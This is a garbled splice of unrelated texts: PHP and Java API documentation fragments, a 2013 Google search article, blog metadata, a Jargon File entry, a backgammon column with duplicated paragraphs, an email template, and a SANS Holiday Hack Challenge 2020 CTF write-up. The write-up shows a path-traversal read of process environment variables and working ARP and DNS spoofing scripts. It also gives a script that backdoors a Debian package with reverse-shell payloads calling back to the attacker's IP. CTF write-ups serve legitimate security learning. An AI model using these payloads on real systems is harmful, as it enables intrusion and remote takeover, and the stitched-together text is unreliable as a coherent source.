( |
|
$names | ) |
|
|
static |
Resolve a multiple connection instance.
- Parameters
-
- Returns
Definition at line 11431 of file _ide_helper.php.
| static put |
( |
|
$local, |
|
|
|
$remote |
|
) |
| |
|
static |
Upload a local file to the server.
- Parameters
-
| string | $local | |
| string | $remote | |
- Returns
- void
Definition at line 11534 of file _ide_helper.php.
| static putString |
( |
|
$remote, |
|
|
|
$contents |
|
) |
| |
|
static |
Upload a string to to the given file on the server.
- Parameters
-
| string | $remote | |
| string | $contents | |
- Returns
- void
Definition at line 11546 of file _ide_helper.php.
Resolve a remote connection instance.
- Parameters
-
- Returns
Definition at line 11442 of file _ide_helper.php.
| static run |
( |
|
$commands, |
|
|
|
$callback = null |
|
) |
| |
|
static |
Run a set of commands against the connection.
- Parameters
-
| string | array | $commands | |
| \Closure | $callback | |
- Returns
- void
Definition at line 11499 of file _ide_helper.php.
| static setDefaultConnection |
( |
|
$name | ) |
|
|
static |
Set the default connection name.
- Parameters
-
- Returns
- void
Definition at line 11463 of file _ide_helper.php.
| static setOutput |
( |
|
$output | ) |
|
|
static |
Set the output implementation.
- Parameters
-
| \Symfony\Component\Console\Output\OutputInterface | $output | |
- Returns
- void
Definition at line 11599 of file _ide_helper.php.
Get the exit status of the last command.
- Returns
- int|bool
Definition at line 11567 of file _ide_helper.php.
| static task |
( |
|
$task, |
|
|
|
$callback = null |
|
) |
| |
|
static |
Run a task against the connection.
- Parameters
-
| string | $task | |
| \Closure | $callback | |
- Returns
- void
Definition at line 11487 of file _ide_helper.php.
The documentation for this class was generated from the following file:


Google's vision for search highlights knowledge graph, speech
Google’s Senior Vice President Amit Singhal used his time at the 2013 I/O podium to announce “the end of search as we know it.” While some of the search enhancements he announced won’t actually mark the end of search, they do point to cool new ways to interact with information.
Anticipation and answers
Google’s knowledge graph technology organizes information by its relationship to other bits of information. Google plans on kicking its knowledge graph up a notch going forward. According to Singhal, Google’s Knowledge Graph now contains more than 750 million entries and “as it grows, it becomes more powerful each day.”
For example, when I Googled the population of Poland, it anticipated I might want the population of other nearby countries and placed the population counts for Germany, Russia, and the Ukraine in the sidebar. Additionally, Google will use the data to create visual graphs with all the comparable data and trendlines—somewhat like how Wolfram Alpha organizes data.
In addition to the eight languages already featuring the knowledge graphs, Singhal announced that knowledge graphs—along with its predictive technologies—will be brought to Polish and Turkish, as well as traditional and simplified Chinese.
Google search will also incorporate questions based on past Google searches or keywords in your emails. Users who opted in for the field study already have their results show up in their Google searches, but the tech should roll out more widely soon.
Google Now, the so-called predictive arm of Google search, also received a boost Wednesday with new Cards and powerful new Reminder functionality.
Talk to me
Google already allows for conversational search through Android and iOS, as well as on desktops using Chrome. Soon you will be able to search with just voice, across all desktops and laptops running the Chrome browser, without even pushing the microphone button that already exists. Just utter “OK Google” and ask your question. Using the anticipatory knowledge graph Google will give you information based on your vocal search, utilizing “hotwords.”
”OK Google, show me things to do in Santa Cruz,” a person can say when using the new Conversational Search feature. They get back a list of attractions in the town as well nearby places Google thinks should be included.
The voice search will also understand real conversational language, so for example, if you just asked Google for information on “The White House” and then asked how long will it take to get “from here to there,” Google will understand that it will want to find directions to get you from where you are to The White House. Very pronoun friendly.
This hands-free search will be coming to Chrome and Chrome OS.
Wednesday’s search announcement marked another step toward Google being able to let people use its search technology in as natural a way as possible, “pretty much like you would ask a friend,” Singhal said. Without needing to activate the computer’s microphone, “you can sit back, relax, say, ‘Okay Google,’ ask your question, and have Google speak back the answer,” he added.
Zach Miners of IDG News Service contributed to this report.
Updated at 3:35 p.m. PT with additional comments from Amit Singhal.
Add Your Comment


--- layout: post title: 'Per Rovegård: Real Experiences and Architectural Domain-Driven Design Patterns Applied on Microsoft .NET Development' date: 2014-02-02 16:48:22.000000000 -07:00 type: post published: true status: publish categories: - ".NET" - Featured - Video tags: [] meta: U_S_C_message: '' _dependencies: s:6:"a:0:{}"; _custom_background: a:5:{s:3:"url";s:0:"";s:16:"background-color";s:0:"";s:17:"background-repeat";s:6:"repeat";s:21:"background-attachment";s:6:"scroll";s:19:"background-position";s:8:"left top";} _edit_last: '3110' _intro_custom_banner: a:1:{s:3:"url";s:0:"";} _intro_text: default author: login: Vlad email<EMAIL_ADDRESS>display_name: Vlad first_name: Vladimir last_name: Gitlevich ---
From MSDN Channel 9
Per Rovegård
In this session, we share experiences from applying Domain-Driven Design in .NET enterprise applications and also give examples of how to realize DDD patterns across the system including storage and UI. Our basic premise is "the domain model is THE model." We also describe how test-driven approaches (TDD and BDD) relate to DDD, and talk about balancing domain focus with other activities such as UI design. A brief introduction to the main ideas and the most important tactical implementation patterns of DDD is given, so prior DDD knowledge is not required!


|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object EigenMeat.EigenMaze.Maze
Creates a random maze.
| Field Summary | |
static int |
EAST
|
static int |
NORTH
|
static int |
SOUTH
|
static int |
WEST
|
| Constructor Summary | |
Maze()
Maze Default Constructor |
|
Maze(int w,
int h)
Maze Constructor. |
| Method Summary | |
void |
deleteRandomWalls(float percent)
Deletes a random walls. |
void |
generate()
Generates a new maze. |
void |
generate(byte[][] cellArray)
Builds a maze from a 2d byte buffer. |
java.nio.ByteBuffer |
getData()
Gets the data to reconstruct this object. |
short |
getDataSize()
Returns the number of bytes written to the ByteBuffer. |
int |
getHeightCells()
Gets the height of the maze, in cells. |
byte[][] |
getMazeData()
Returns maze data as a 2d byte array. |
short |
getOwnerID()
Returns the ID of the owning client instance of this NetEntity. |
short |
getType()
Returns the type of this entity. |
int |
getWidthCells()
Gets the width of the maze, in cells. |
boolean |
isWallUp(int x,
int y,
int dir)
Checks to see if a specific wall is currently up. |
void |
print()
Debug print of the maze. |
void |
receiveData(java.nio.ByteBuffer bb)
Method used to reconstruct this object from the network. |
void |
setOwnerID(short id)
Sets the ID of the owning client instance of this NetEntity. |
void |
setSize(int w,
int h)
Set the maze dimensions. |
| Methods inherited from class java.lang.Object |
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
public static final int NORTH
public static final int EAST
public static final int SOUTH
public static final int WEST
| Constructor Detail |
public Maze()
public Maze(int w, int h)
| Method Detail |
public void setSize(int w, int h)
w
- maze widthh
- maze heightpublic int getWidthCells()
public int getHeightCells()
public boolean isWallUp(int x, int y, int dir)
x
- the x location of the cell you want to checky
- the y location of the cell you want to checkdir
- which wall you want to check in the specified wall.
public void generate()
public byte[][] getMazeData()
public void generate(byte[][] cellArray)
public void deleteRandomWalls(float percent)
public void print()
public short getType()
NetEntity
getType
in interface NetEntity
NetEntity
public short getOwnerID()
NetEntity
getOwnerID
in interface NetEntity
NetEntity
public void setOwnerID(short id)
NetEntity
setOwnerID
in interface NetEntity
NetEntity
public short getDataSize()
NetEntity
getDataSize
in interface NetEntity
NetEntity
public java.nio.ByteBuffer getData()
NetEntity
getData
in interface NetEntity
NetEntity
public void receiveData(java.nio.ByteBuffer bb)
NetEntity
receiveData
in interface NetEntity
NetEntity
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Feel free to leave any comments, questions, and/or concerns here, and I will be happy to get back with you!


I cannot communicate with you now, so pass me by and return to your path.


BUAG
`Prev `__
B
`Next `__
--------------
**BUAG**: //, n.
[abbreviation, from ``alt.fan.warlord``] Big Ugly ASCII Graphic.
 For
some reason, mutations of the head of Bart Simpson are particularly
common in the least imaginative `*sig
block* <../S/sig-block.html>`__\ s. See
`*warlording* <../W/warlording.html>`__.
--------------
+-------------------------+----------------------------+--------------------------------+
| `Prev `__ | `Up <../B.html>`__ | `Next `__ |
+-------------------------+----------------------------+--------------------------------+
| BUAF | `Home <../index.html>`__ | bubble sort |
+-------------------------+----------------------------+--------------------------------+


pips Red=143 White=92
(CorrectAnswer= 0/0, ErrorScore= 0)
We are so used to having the doubling cube in play and making checker play decisions based upon the cube position that we sometimes find it hard to adapt our thinking when the cube is not in play at all.
The most obvious example of this is at Double Match Point (DMP) when not only is the cube not in play but gammons and backgammons do not count either. Given that DMP is the most critical score that you can have in a match it is surprising just how many mistakes are made at this score.
As a reminder one of the things we seek to do at DMP is to make sure that we keep all the checkers in play. Dead checkers are normally ruinous at DMP because, as you cannot win with the cube, it is crucial to have one’s whole army at one’s disposal.
I was guilty of very muddy thinking in this week’s position at DMP. As Black I had 65 to play and spent a long time considering whether to play 14/3, creating a five-point prime, but one that may not live very long, or the more aggressive 8/3, 8/2*, following the principle of attacking a lone rear checker.
In the end, I chose the hitting play and won quite easily as my next several rolls all had a five in them. Feeling pleased with myself I followed my usual practice of analysing the match with XG. To my chagrin I discovered that my move was a blunder and even 14/3 was an error.
The best move was one that I hadn’t even considered: 23/12! Once you see the play its benefits are clear. Primarily it ensures that Black maintains his timing and all his checkers remain in play. In addition, it provides outer board coverage if White escapes his rear checker. Note also that if White hits Black’s blot on his 3-pt, whilst not ideal, it may help to preserve Black’s timing if he stays on the bar for a roll or two.
I think that 23/12 is difficult to see because it plays to the abnormal conditions defined by DMP and I did not have my thinking correctly tuned for that circumstance. If this position occurred in a money game it is likely that Black would own the cube. In that case 14/3 would very clearly be the correct move because it significantly reduces the number of gammons lost. 8/3, 8/2* would then be a double blunder because of the gammons.
So in summary make sure that at DMP you have the right mind-set as the game begins and try to keep all your checkers in play because that gives you more flexibility and hopefully, more routes, to victory.
The most obvious example of this is at Double Match Point (DMP) when not only is the cube not in play but gammons and backgammons do not count either. Given that DMP is the most critical score that you can have in a match it is surprising just how many mistakes are made at this score.
As a reminder one of the things we seek to do at DMP is to make sure that we keep all the checkers in play. Dead checkers are normally ruinous at DMP because, as you cannot win with the cube, it is crucial to have one’s whole army at one’s disposal.
I was guilty of very muddy thinking in this week’s position at DMP. As Black I had 65 to play and spent a long time considering whether to play 14/3, creating a five-point prime, but one that may not live very long, or the more aggressive 8/3, 8/2*, following the principle of attacking a lone rear checker.
In the end, I chose the hitting play and won quite easily as my next several rolls all had a five in them. Feeling pleased with myself I followed my usual practice of analysing the match with XG. To my chagrin I discovered that my move was a blunder and even 14/3 was an error.
The best move was one that I hadn’t even considered: 23/12! Once you see the play its benefits are clear. Primarily it ensures that Black maintains his timing and all his checkers remain in play. In addition, it provides outer board coverage if White escapes his rear checker. Note also that if White hits Black’s blot on his 3-pt, whilst not ideal, it may help to preserve Black’s timing if he stays on the bar for a roll or two.
I think that 23/12 is difficult to see because it plays to the abnormal conditions defined by DMP and I did not have my thinking correctly tuned for that circumstance. If this position occurred in a money game it is likely that Black would own the cube. In that case 14/3 would very clearly be the correct move because it significantly reduces the number of gammons lost. 8/3, 8/2* would then be a double blunder because of the gammons.
So in summary make sure that at DMP you have the right mind-set as the game begins and try to keep all your checkers in play because that gives you more flexibility and hopefully, more routes, to victory.
1. Cubeful 2-ply 14/3 Eq.: -0.543 0.371 0.054 0.002 - 0.629 0.147 0.004 2. Cubeful 2-ply 23/12 Eq.: -0.565 (-0.022) 0.402 0.058 0.002 - 0.598 0.245 0.013 3. Cubeful 0-ply 8/3 8/2* Eq.: -0.721 (-0.177) 0.362 0.066 0.002 - 0.638 0.260 0.016 4. Cubeful 0-ply 23/18 14/8 Eq.: -0.812 (-0.269) 0.356 0.057 0.001 - 0.644 0.285 0.013 5. Cubeful 0-ply 14/8 6/1 Eq.: -1.000 (-0.457) 0.258 0.033 0.001 - 0.742 0.263 0.011


Dear {{ user.username }},
Complete registration: click here .
Alternatively, you can paste the following link in your browser's address bar:
{{ url_for('register_new_user', token=token, _external=True) }}
If you have not requested this registration simply ignore this message.
Sincerely,
The Stakeholder Engagement Log Team


Introduction
First of all, I would like to thank the creators of this incredible event. Great work was done here again in 2020. Every year it is unbelievable how gripping and instructive the whole thing is.
This is a summary of my solution. I hope I can help others with this which get stuck in certain places. I recommend to try the specific tasks for yourself and then, if you get stuck, you can fall back on this here.
There is an english and german blog site of this text which consists of more information as the PDF I delivered as solution. Both blog posts are identical in content.
Outline
The writeup is structured as follows:
First, the main objectives are explained. Then the individual terminal challenges are described in a separate part. However, you can also jump to the individual terminal challenges per room using the following map, which roughly summarizes the Holiday Hack Challenge 2020 space:
Objectives
1 - Uncover Santa’s Gift List
Challenge
Location
Near lower part of Gondola
Possible solution
You can upload the picture at https://photopea.com and use the lasso to select the personal gift list. Then choose menu and “Filter” -> “Distort” -> “Twirl” to undo the rotation.
Video description at https://player.vimeo.com/video/498406558
The result is:
Proxmark
2 - Investigate AWS S3 Buckets
Challenge
Location
Entry
Possible solution
The talk Josh Wright, Open S3 Buckets: Still a Problem In 2020 following you can use the project
bucket_finder.rb
within the terminal. The word list still has to be completed as in the video recommended. There is a hint for this at the beginning:
That means you add “wrapper3000” to the word list. Then a sequence of unpacking has to be used. The first is a Base64-encrypted string downloaded into a binary file which has to be decoded:
cd bucket_finder
(-> add wrapper3000 to wordlist)
./bucket_finder.rb wordlist --download
(-> go into directory of downloaded package:)
cd wrapper3000
cat package
(-> seems to be a base64 encoded string; let's decode it:)
echo -n 'UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQud
GFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBx
Dwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA
0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/
gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWt
nNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm
5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsK
yTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0
lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0Lloue
HoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA' | ba
se64 --decode > file
unzip file
bzip2 -d package.txt.Z.xz.xxd.tar.bz2
tar -xvf package.txt.Z.xz.xxd.tar
xxd -r package.txt.Z.xz.xxd > todecompr
ess.xz
xz -d todecompress.xz
mv todecompress package.txt.Z
uncompress package.txt.Z
cat package.txt
North Pole: The Frostiest Place on Earth
This gives the solution:
North Pole: The Frostiest Place on Earth
3 - Point-of-Sale Password Recovery
Challenge
Location
Courtyard
Possible solution
First, you need to extract the data from the file.
A solution is to use unar to get the resources of the file santa-shop.exe. An archive app-64.7z is located here under a directory with Unicode characters.
If you unpack this archive with 7z you get an app.asar, which is packed in a format for Electron apps. This format can in turn be unpacked with asar. The Github project can be found at https://github.com/electron/asar
The password you are looking for is then located in app/main.js:
unar santa-shop.exe
(yields to:
.
./?肚
./?肚/nsProcess.dll
./?肚/System.dll
./?肚/nsExec.dll
./?肚/SpiderBanner.dll
./?肚/StdUtils.dll
./?肕
./?肕/Uninstall santa-shop.exe
./?肕/?肚
./?肕/?肚/app-64.7z
./?肕/?肚/System.dll
./?肕/?肚/nsis7z.dll
./?肕/?肚/StdUtils.dll
./?肕/?肚/WinShell.dll
)
mkdir 7zdecompress
cd $'\003肕'
cd $'\003'肚
cp app-64.7z ../../../7z_decompress
cd ../../../7z_decompress
7z x app-64.7z
cd resources
mkdir ../../asar_decompress
cp app.asar ../../asar_decompress
asar extract app.asar
vim app/main.js
(look at
const SANTA_PASSWORD = 'santapass')
Video description at https://player.vimeo.com/video/498544421
solution:
santapass
4 - Operate the Santavator
Challenge
Location
Lobby
Possible solution
Your task is to get the Super Santavator Sparkle Stream working in the elevator. Sparkle Redberry right next to the entrance will give you the key. After that you can look under the panel in the elevator. There you have to get the stream colored to the right recording contacts. For the operation I used all findable parts. These are distributed in the game - mostly on the floor.
So the yellow light bulb can be found in the Netwars floor and the vending machine in the room to the left of the talks lobby contains the portals.
Example place yellow bulb
In total I collected:
| Item | Picture |
|---|---|
| Broken Candycane | |
| Elevator 1.5 Button | |
| Elevator Service Key | |
| Green Bulb | |
| Red Bulb | |
| Yellow Bulb | |
| 2 Hex Nuts | |
| Large Marble | |
| Rubber Ball | |
| Portals |
My final constellation looked like this:
Video description at https://player.vimeo.com/video/498749785
5 - Open HID Lock
Challenge
Location
Workshop
Possible solution
First, you need to find the Proxmark. Then you can use the CLI to read out cards. Larry Pesce’s talk is helpful here https://www.youtube.com/watch?v=647U85Phxgo and the cheat sheet https://gist.github.com/joswr1ght/efdb669d2f3feb018a22650ddc01f5f2:
First go to Elves and do the following (one field next to them). I went through the list of those known so far from the chat:
lf hid read
I could read the following:
# Noel Boetie
pm3 --> lf hid read
#db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000
# Bow Ninecandle
pm3 --> lf hid read
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
# Sparkle Redberry
pm3 --> lf hid read
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
# Holly Evergreen
pm3 --> lf hid read
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
# Shinny Upatree
pm3 --> lf hid read
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
Applying the card from Shinny Upatree then opened the door:
6 - Splunk Challenge
Challenge
Location
Dining Room
Possible solution
Training question 1
How many distinct MITRE ATT&CK techniques did Alice emulate?
You can use the following command to display the different techniques:
| tstats count where index=* by index
then count the result:
If you want it exactly you can find the number as follows:
| tstats count where index=* by index
| search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*"
| stats dc(technique)
If you are logged in as Santa Claus you can also check the result using this link: https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1608682982.3730
Solution:
13
Training question 2
What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)
Using the same command as before:
| tstats count where index=* by index
Solution:
t1059.003-main t1059.003-win
Training question 3
One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?
index=t1082-win MachineGuid
https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1608682057.3699
Solution:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
Training question 4
According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)
index=attack OSTAP
https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1608685883.3913
Solution:
2020-11-30T17:44:15Z
Training question 5
One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?
At first you can approach using
*audio* index=t1123-*
googling “frgnca GitHub” brings you to:
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md
Taking advantage of this information results in:
*WindowsAudioDevice-Powershell-Cmdlet* (index=t1123-* OR index=attack) source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| highlight process
https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1608724817.299
Solution:
3648
Training question 6
Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?
index=* *.bat EventCode=11
| stats values(TargetFilename)
The talk from Dave Herrald / Splunk contains a Github project from Atomic Red Team https://www.youtube.com/watch?v=RxVgEFt08kU&t=13m41s .
This project can be used to simulate the topics of the Mitre Att&ck framework.
The question indicates that Windows Registry Run Keys have been misused. So my starting point was: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md
In the description on this page you can find 2 batch files: Discovery.bat
and batstartup.bat
.
The question also indicates that the batch file was used in other techniques.
If you search for batstartup.bat
in the Github project you will find it only used in one technique
in contrast to Discovery.bat
(caution virus scanners also hit the payloads when cloning):
git clone https://github.com/redcanaryco/atomic-red-team.git
If you now open Discovery.bat
you can see the last command.
Video description at https://player.vimeo.com/video/499139051
Solution:
quser
Training question 7
According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?
First use the hint from the chat:
As a result you will get some entries for the field certificate.subject
.
You can use these to determine and analyze the domain controller:
index=* sourcetype=bro* "certificate.subject"="CN=win-dc-748.attackrange.local"
the field certificate.serial
then provides the serial number you are looking for.
Video description at https://player.vimeo.com/video/499148292
https://splunk.kringlecastle.com/de-DE/app/SA-kringleconsoc/search?sid=1610234674.1091
Solution:
55FCEEBB21270D9249E86F4B9DC7AA60
Challenge question
What is the name of the adversary group that Santa feared would attack KringleCon?
In the chat you get a Base64-String after you have solved question 7:
7FXjP1lyfKbyDK/MChyf36h7
A reference to RC4 made me apply this algorithm to the Base64 string:
You get the key “Stay Frosty” from the talk https://www.youtube.com/watch?v=RxVgEFt08kU&t = 18m30s
For the algorithm I used https://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python.
Replace the following
<encrypted file contents>
with:
7FXjP1lyfKbyDK/MChyf36h7
.
This then results in:
cat rc4-decode.py
import base64
data = base64.b64decode ("7FXjP1lyfKbyDK/MChyf36h7")
key = "Stay Frosty"
S = range (256)
j = 0
out = []
#KSA phase
for i in range (256):
j = (j + S [i] + ord (key [i% len (key)]))% 256
S [i], S [j] = S [j], S [i]
#PRGA phase
i = j = 0
for char in data:
i = (i + 1)% 256
j = (j + S [i])% 256
S [i], S [j] = S [j], S [i]
out.append (chr (ord (char) ^ S [(S [i] + S [j])% 256]))
print '' .join (out)
You will then get the result with (watch out python 2!)
python rc4-decode
The Lollipop Guild
Solution:
The Lollipop Guild
7 - Solve the Sleigh’s CAN-D-Bus Problem
Challenge
Location
Netwars
Possible solution
To find out what is going wrong, try to understand which ID codes what mean.
For this I created a table with IDs for values / value ranges.
Then start/stop the individual possibilities and evaluate the changes in the output.
To easily capture the data you can use a screenshot tool which freezes the screen. You can then also use the screenshots to make it easier to observe the changes within the IDs.
This yielded:
| ID Code | System | Value(s) |
|---|---|---|
| 244 | Accelerator | |
| 02A | Start Stop | 00FF00 |
| 019 | Steering | in hex , negative values one’s complement |
| 080 | Brakes | in hex |
| 198 | (Un)Lock | Lock:00000000 Unlock: 000F000000 |
In the end, my analysis resulted in the following filter:
-
080 Less 000000
-
19B Equals F2057
8 - Broken Tag Generator
Challenge
Location
Wrapping Room / Workshop Level
Possible solution
First, enumerate the page:
dirsearch.py -u https://tag-generator.kringlecastle.com/ -e all
501 is the HTTP status code for:
“The server does not support the functionality required to fulfill the request”
If you look at the HTML response you will get:
curl -k -s -L https://tag-generator.kringlecastle.com/image

Something went wrong!

Error in /app/lib/app.rb: ID is missing!

We comply with this and provide an ID with:
curl -k -s -L https://tag-generator.kringlecastle.com/image\&id\=1

Something went wrong!

Error in /app/lib/app.rb: Route not found

Ok, you now have an ID variable. Try to launch a path traversal attack.
This will give you access to the code.
To read the environment variables you can use:
curl -k -s -L -O 'https://tag-generator.kringlecastle.com/image?id=../../../../../../../../../../../../../../../proc/1/environ'
cat environ
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=<IP_ADDRESS>GREETZ=JackFrostWasHereHOME=/home/app
whereas the value in
proc/x/environ
could be another. Start incrementing from 1.
You have to use the -O
or --output -
because curl assumes a binary.
Solution:
JackFrostWasHere
9 - ARP Shenanigans
Challenge
Location
NetWars
Possible solution
Use the following code:
cat arp_resp.py
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
mymacaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
#mymacaddr = '02:42:0a:06:00:02' # sometimes last number changes !!!
targetmacaddr = '4c:24:57:ab:ed:84'
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst=targetmacaddr, type=0x806, src=mymacaddr)
arp_response = ARP(pdst="<IP_ADDRESS>")
arp_response.op = 2 # arp response
arp_response.plen = None
arp_response.hwlen = None
arp_response.ptype = "IPv4"
arp_response.hwtype = 0x1 # ether
arp_response.hwsrc = mymacaddr
arp_response.psrc = "<IP_ADDRESS>"
arp_response.hwdst = targetmacaddr
arp_response.pdst = "<IP_ADDRESS>"
response = ether_resp/arp_response
sendp(response, iface="eth0")
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
main()
cat dns_resp.py
#!/usr/bin/python3
# https://jasonmurray.org/posts/scapydns/ saved the day
# https://www2.cs.duke.edu/courses/fall16/compsci356/DNS/DNS-primer.pdf for better understanding
# Modified it that it runs endless so dns is always spoofed to check payloads
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr_own = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
mymacaddress = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
#targetmacaddress = '4c:24:57:ab:ed:84'
ipaddr_we_arp_spoofed = "<IP_ADDRESS>"
# destination ip we arp spoofed
ipaddr_target = "<IP_ADDRESS>"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.)/DNS
# We also need
eth = Ether(
src=packet[Ether].dst,
dst=packet[Ether].src
) # need to replace mac addresses
ip = IP(
src=packet[IP].dst,
dst=packet[IP].src
) # need to replace IP addresses
udp = UDP(
dport=packet[UDP].sport,
sport=packet[UDP].dport
) # need to replace ports
dns = DNS(
id=packet[DNS].id,
qd=packet[DNS].qd,
aa=1,
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=0,
arcount=0,
ar=DNSRR(
rrname=packet[DNS].qd.qname,
type='A',
ttl=600,
rdata=ipaddr_own)
)
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(mymacaddress) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=10)
if __name__ == "__main__":
main()
cat create_deb_malware.sh
#!/bin/bash
# POC: tested locally with nano_4.8-1ubuntu1_amd64.deb and ping ip -c 1 - worked
myip=$(ip a show eth0 | grep -e "inet\s"| awk '{print $2}')
myip=${myip%/*}
cd debs
[ -d "work" ] && rm -rf work
[ -f "control.tar.xz" ] && rm -rf *.tar.xz
[ -d "pub" ] && rm -rf pub
dpkg -x nano_4.8-1ubuntu1_amd64.deb work
mkdir work/DEBIAN
ar -x nano_4.8-1ubuntu1_amd64.deb
tar -xf control.tar.xz ./control
tar -xf control.tar.xz ./postinst
mv control work/DEBIAN/
mv postinst work/DEBIAN/
# Worked
# payload='ping '$myip' -c 1'
# payload='ping '$myip' -p 123456 -c 1'
# So because of this https://curesec.com/blog/article/blog/Exfiltrate-Data-using-the-old-ping-utility-trick-23.html would have also been possible
# Not worked
# Using http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet among others
# HTTP
# Curl with (+dns spoof) and without dns
# payload='curl http://'$myip'/a'
# payload='curl http://www.google.de/a'
# Wget
# payload='wget http://'$myip'/a'
# Reverse Shells
# Reverse Shell Perl
# Connection back but no interaction
# payload='perl -e '"'"'use Socket;$i="'$myip'";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'"
# Reverse Shell Alternative netcat
# No connection
# payload='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '$myip' 8080 >/tmp/f'
# Finally reverse shell that worked
# also related to the netcat.deb file in debs folder
payload='nc -e /bin/sh '$myip' 8080'
echo $payload >> work/DEBIAN/postinst
dpkg-deb --build work
mv work.deb suriv_amd64.deb
mkdir -p pub/jfrost/backdoor
